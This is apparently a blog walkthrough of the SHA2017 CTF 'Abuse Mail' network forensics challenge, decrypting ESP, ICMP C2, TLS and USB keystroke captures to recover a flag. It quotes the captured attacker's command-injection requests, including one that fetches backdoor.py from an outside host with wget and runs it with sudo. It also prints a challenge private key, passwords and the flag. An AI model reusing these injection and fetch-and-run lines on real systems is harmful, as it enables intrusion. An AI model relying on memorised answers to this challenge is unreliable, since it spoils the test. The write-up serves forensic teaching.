SHA2017 CTF - Abuse Mail

Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can’t find what exactly has happened. Can you help us to catch the culprit?

Files: Download Points: Network 300
Useful tools: wireshark tshark python Tags: advanced network

Show Solution …

Initial Analysis

The challenge provides us with three packet captures to examine, numbered sequentially with the name abuse0x. Taking a cursory glance through each led to the following observations:

  • abuse01: Telnet data is visible along with IPSEC (ESP) encrypted data
  • abuse02: All ICMP/Ping data with large, custom content in the data section
  • abuse03: All ICMP/Ping data with large, custom content in the data section

I’m making the assumption at this stage that the ICMP traffic is data exfiltrations and/or C2 communication, but the data is indiscernable right now. I decide to examine abuse01 further since it is the only one with true plaintext data right now.

abuse01.pcap

Examining the telnet data reveals some ESP configurations:

# ip xfrm state
src 10.11.0.1 dst 10.11.0.83
	proto esp spi 0xce9b2ab8 reqid 1 mode tunnel
	replay-window 32 flag af-unspec
	auth-trunc hmac(sha1) 0x17f298179ebf35a4fa12d5d2c3f3b0466f435282 96
	enc cbc(aes) 0xfb59dc471ca7f58beb30cd0d1bcbb83d6bc0fe76bca7e92bf5c0e455b23e4fe4
	encap type espinudp sport 4500 dport 4500 addr 0.0.0.0
	anti-replay context: seq 0x0, oseq 0xd, bitmap 0x00000000
src 10.11.0.83 dst 10.11.0.1
	proto esp spi 0xcaa4cf43 reqid 1 mode tunnel
	replay-window 32 flag af-unspec
	auth-trunc hmac(sha1) 0xab7271cc8e3d0c403ed75323f8f8f582c784e821 96
	enc cbc(aes) 0x28fcaa9d777f940fac57e1be15477f5f074547b6a723df9243b0eb06bdd74619
	encap type espinudp sport 4500 dport 4500 addr 0.0.0.0
	anti-replay context: seq 0xd, oseq 0x0, bitmap 0x00001fff

This data gives us exactly the information we need to decrypt/decapsulate the ESP packets further in the capture. Enter the protocol preferences in Wireshark for ESP, click to edit the ESP SAs, and add in the information above into the table, one for each entry. It should look similar to this:

ESP Data

With the information in the table, check the box to Attempt to detect/decode encrypted ESP payloads.

You’ll now see the decrypted traffic at the bottom of the pcap, all consisting of HTTP and other TCP traffic. Follow the stream for the HTTP traffic so we can see what is happening. You’ll notice a significant amount of GET requests with the attacker testing for command injection.

GET /?ip=google.com HTTP/1.1 GET /?ip=google.com;ls HTTP/1.1 GET /?ip=;ls%20-la HTTP/1.1 GET /?ip=;id HTTP/1.1 GET /?ip=;sudo%20-l HTTP/1.1

With the injection working, the attacker uploads a python script called backdoor.py: GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py HTTP/1.1

The attacker also runs cat on the script to ensure it successfully transferred, resulting in us being able to analyze the source code in full. A copy of the full backdoor.py file can be found in the challenge files.

Finally, the attacker launches the script, also giving it an argument K8djhaIU8H2d1jNb:

GET /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\& HTTP/1.1

Backdoor.py reveals the AES algorithm used to encrypt C2 commands and data over ICMP (as seen in abuse02 and abuse03). I modified the script so that it reads packets from these pcaps instead of sniffing for them, and modified its output to decrypt the ICMP data and print it to the screen for each packet in both pcaps. We know the decryption key because it was passed as an argument by the attacker (K8djhaIU8H2d1jNb) and we don’t have to worry about the random IV because it’s appended to the data in each packet. Everything in the modified script is the same as the original except for this section:

cipher = AESCipher('K8djhaIU8H2d1jNb')

try: 
    pkts = rdpcap('abuse02.pcap')

    for packet in pkts:
        if str(packet.getlayer(ICMP).type) == "8": 
            input = packet[IP].load
            if input[0:len(magic)] == magic:
                input = input.split(":")
                data = cipher.decrypt(input[1]).split(":")
                ip = packet[IP].src
                if data[0] == "command":
                    print data[1]
                if data[0] == "getfile":
                    print data

Run the script against each pcap file to decode the ICMP messages back to C2 commands and data.

abuse02.pcap

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/certs/intranet.key
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAL4f+bARO92MZGef
/ffOyMw7I+yDnGBIKwsNOD0Pxdp4antlDWFpsT70bSBpuspie1Vu6uOK1y6F5cqE
KjqdhYXalJyHhaOE2ELGQz75R4pFS/zFgC1IaX7q+9KvCiBH4F9G7FkUB4nO+AqE
3Avux1bYInsaTz2kRP9boA4E1wNbAgMBAAECgYEAiYU/aedNUhc2mO3VGeXswC0W
8wDPn6UT3U6WmzRJfJkVDGQvpYJ5vnu2Y3eWsMVDSKyOIkBPHUukxzOKCBPge449
kMwW8cX0nHSGFl1HsYiY14Lr/BiOXz/c+I9Yg+Bexf5kCTYAjzqZ1ZErrIQvagNE
pXb1GGZrnrU7wH9FI8ECQQDhwEnscmqsnPr43E0eFUy3OybfQfo+mSRdq84zwHoW
BofTUUOpDZpZhIWt6JsdsSqqYVt+W8XHqILraK/EQDnpAkEA15mi7tjozljGcjVP
dYzB4m24vRK4guujNSJDXKwoDvjDI8x3iu/iTtfxkM3Swko4bxWwiUB7MOaCLgQO
HaaEowJAXIzswZcWzLV+3s/SfebVkLkbcqQl58v48L4ix2y9oJIE1UmXp5MAGHsQ
IwAdt8qOZ1OKov8U0onvQnuks5xxIQJBAMwBz5/MVfYzIIwfD7H+X9Pe2Ojn1vni
+IslgbImIL2R/CxapF8uf+j1AtpvN9eqnV3XmzU0c50g8NuT8LtzvpsCQGUArCoa
ps7xk/SxGfz3IBrsUIOn3Iqh9wqoLfu7wVuc+LFIwkrNm6D5ZnzUapvO2oqj+5ER
iuSWkHY6ll1V1m0=
-----END PRIVATE KEY-----
tcpdump -i usbmon2 -w /tmp/usb.pcap
tcpdump host intranet -w /tmp/intranet.pcap

This decrypted pcap contains a decent number of commands that were sent to the target, along with the return data of those commands. The most important things to take from here is an RSA private key. Save that for later.

abuse03.pcap

['getfile', '/tmp/intranet.pcap']
['getfile', '22', 'xMWknTPeWuv2HY5z-Tp3Th8wX049inFKvUYvyQhSnuWRsJ8XzXXMYRfYezTcfq9rVFulD0i2Etj8CN3CMylyEVucEymaX...']
['getfile', '3', '8XB7Q94TDBClV8w4qhq69z3FZYrv8t2WgEKqgXrWdlHdlAFX8ALVsMhCJIBkRaym0tYdVp1SG4MaZR4Tss3uWqkUHUP2IH...']
['getfile', '15', 'TcpH8DKbQqyDTZP90vOPC7ZroVI7FBLP3tehUVdCsB5kcVOtOgwoeNuBDLMQwHANdbwLTIcc8rWzDtchd96wrcnYimMMV...']
...
['getfile', '/tmp/usb.pcap']
['getfile', '0', '1MOyoQIABAAAAAAAAAAAAAAABADcAAAAUAd6WeKlBABAAAAAQAAAAIBo_BABiP__UwKABQQAADxQB3pZAAAAAOKlBACN__...']
['getfile', '32', 'AAAAAAAAAAAAAHIHellh4AsAQAAAAEAAAADAKg8pAIj__1MBgQUEAC08cgd6WQAAAABh4AsAjf___wgAAAAAAAAAAAAAA...']
['getfile', '4', 'AAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAAAABSB3pZXbcLAEAAAABAAAAAwAotCgCI__9TAgACBAAAAFIHelkAAAAAXbcLAI...']
...

This decrypted pcap contains data exfiltration of two files, each noted above as usb.pcap and intranet.pcap, each in 500-byte encoded chunks.

The first field is the C2 command, the second field is the chunk number, and the third field is the B64 encoded data.

NOTE: The chunks are out of order. We’ll need to arrange them back so they are 0-x, where x is the highest numbered chunk. Once rearranged, strip out everything except the base64 chunks, then merge them all together (in order) into one nice long encoded string that represents the full file.

This is a different form of Base64 as you’ll see in the python script. Decoding it via normal means won’t work here, so we need to decode it with python’s base64.urlsafe_b64decode(...)

Decode both files into their original binary forms. This will give you intranet.pcap and usb.pcap

intranet.pcap

This file is yet again encrypted, this time with TLS. Luckily, we can use the RSA key we got earlier to decrypt it. Configure Wireshark to use the RSA key for data coming from that IP address. Protocol Prefs >> RSA Key List

The pcap is now decrypted, and you will be able to extract a transferred file called secret.zip. Guess what? The zip file is encrypted too. Of course it is. I set fcrackzip to work on it while I move to work on the other pcap.

usb.pcap

USB PCAP

This file is not a pcap with network packets, it’s a pcap with USB traffic, which isn’t fun to look at. The only useful data in a USB pcap is the “leftover capture data” that Wireshark doesn’t show to you by default. Add in this column to see it.

Leftover capture data exists, but it doesn’t look like anything useful. Some research will show that specifically the third byte of this field is valuable because it can be decoded to reveal what data was sent across the USB channel. Use a script to grab the third byte in the data, excluding “00” bytes which are useless: tshark -r usb.pcap -T fields -e usb.capdata | awk -F: '{print $3}' | grep -v 00 > keys.txt

I called this file keys.txt because what these random hex codes are is key/character data. We’ll decode those next with the help of page 53 of http://www.usb.org/developers/hidpage/Hut1_12v2.pdf.

You can use a script to perform a simple hex-to-character substitution based on that chart. After decoding, you’ll see this line in the middle of the output:

UNZIP SECRETxZIP
PYJ4M4P4RTY22017

Looks like that is the password used when opening up secret.zip. Unfortunately, it doesn’t work. I wrote a script to make a dictionary of all capitalization combinations of PYJ4M4P4RTY22017 for fcrackzip to use, but still no luck. Going back to the book, I noticed that the code for “2” is the same as the code for “@”. I replaced PYJ4M4P4RTY22017 with PYJ4M4P4RTY@2017 (made the most sense to me), re-made the dictionary, ran it against the zip, got the password Pyj4m4P4rtY@2017.

Open up the zip and the flag is inside the secret.txt file!

Important passwords:
secret.zip	Pyj4m4P4rtY@2017
root		Welcome123
flag	        flag{bf107b7f64f320034df7e48669439f69}

Analysis of Apache Guacamole

### OverviewThis post will be focusing on an analysis of Apache Guacamole's web traffic. From their website:> Apache Guacamole is a clien...… Continue reading

SHA2017 Junior CTF - Rotation

Published on August 14, 2017

Welcome!

Published on August 12, 2017